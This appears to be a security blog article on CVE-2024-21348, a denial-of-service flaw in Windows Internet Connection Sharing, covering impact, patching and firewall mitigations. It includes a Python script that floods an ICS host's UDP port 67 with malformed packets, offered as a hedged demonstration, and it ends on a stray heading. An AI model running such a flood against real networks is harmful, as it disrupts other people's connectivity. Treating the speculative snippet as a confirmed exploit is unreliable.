CVE-2024-21348 - Breaking Down the Windows Internet Connection Sharing (ICS) DoS Vulnerability

Microsoft’s Patch Tuesday in February 2024 brought attention to a new denial-of-service (DoS) vulnerability affecting Windows Internet Connection Sharing (ICS). This flaw, tracked as CVE-2024-21348, opens the door for attackers on a local network to disrupt ICS services, potentially knocking devices offline or blocking network internet access. In this long read, we’ll see what went wrong, how the exploit works, why it matters, and how to stay protected, with hands-on code and real-world references.

Internet Connection Sharing (ICS) is a built-in Windows feature that lets one computer share its internet connection with other devices. Think of it like turning your PC into a basic router for your home or small office. ICS is handy, but as with any network service, it's a potential attack surface.

What Is CVE-2024-21348?

CVE-2024-21348 is a vulnerability in ICS that allows any device on the local network to send malicious packets, causing the device hosting ICS to become unresponsive on the network—a denial of service (DoS).

Score: CVSS 7.5 (High)

Affected Systems: Windows 10, Windows 11, Windows Server 2022 and others where ICS is enabled.

> “This vulnerability allows an unauthenticated attacker on the same network to cause a denial of service on the ICS host.”
> – Microsoft Security Guide: ADV240003

How Does the Exploit Work?

ICS uses a Windows Service (SharedAccess) which receives special networking packets (for NAT, DHCP, DNS relay, etc). The vulnerability is that malformed or specially crafted packets sent to the ICS service can crash the networking process or consume resources until the computer loses internet connectivity.

It does not require authentication—anyone on the same LAN can attack.

- ICS does not need to be directly accessible from the internet: only someone on your Wi-Fi or physical network can exploit it.
- The attack stops as soon as ICS is restarted or the malicious packets stop—no permanent damage, but annoying downtime.

Code Snippet: Simulating an Exploit

> Warning: This is for educational purposes only on your own test network.

Let's look at an example in Python that demonstrates how a malformed UDP packet (commonly accepted by ICS services like DHCP relay) might trigger the DoS condition:

import socket

# IP address of the ICS host (the Windows machine sharing internet)
ics_ip = '192.168.137.1'
# Port where the ICS/DHCP service listens (standard port=67)
ics_port = 67

# Malformed packet: too short/invalid data for DHCP
# In real exploits, attackers fuzz with various sizes/content
payload = b"\x00" * 8  # less than minimal DHCP

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)

for i in range(100):  # Burst of packets to simulate flooding
    sock.sendto(payload, (ics_ip, ics_port))
    print(f"Sent packet {i+1}")
sock.close()

Sends a hundred malformed UDP packets to the Windows ICS host.

- If the host is vulnerable and ICS is enabled, it may hang, lose network connectivity, or crash the SharedAccess service.

How Bad Is It?

- Scope: Limited to local network, not remote/external attackers.

Microsoft Patch

The official fix is in the February 2024 Patch Tuesday update. Update your Windows system ASAP.

- Reference: Microsoft Update Catalog for CVE-2024-21348

Disable ICS If Not Needed

You probably don’t need Internet Connection Sharing unless specifically set up for it.

Firewall Rules

Restrict access to ICS ports (like 67/UDP) from untrusted local devices using Windows Firewall.

Key Takeaways

- CVE-2024-21348 is a high-severity denial-of-service affecting Windows ICS, allowing attackers on the same network to disrupt internet sharing.

If you don’t use ICS, disable it for stronger security.

- Even if it’s unlikely your home network is attacked, public or semi-public networks are higher risk.

Timeline

Published on: 02/13/2024 18:15:50 UTC
Last modified on: 02/13/2024 18:22:58 UTC

What is Internet Connection Sharing (ICS)?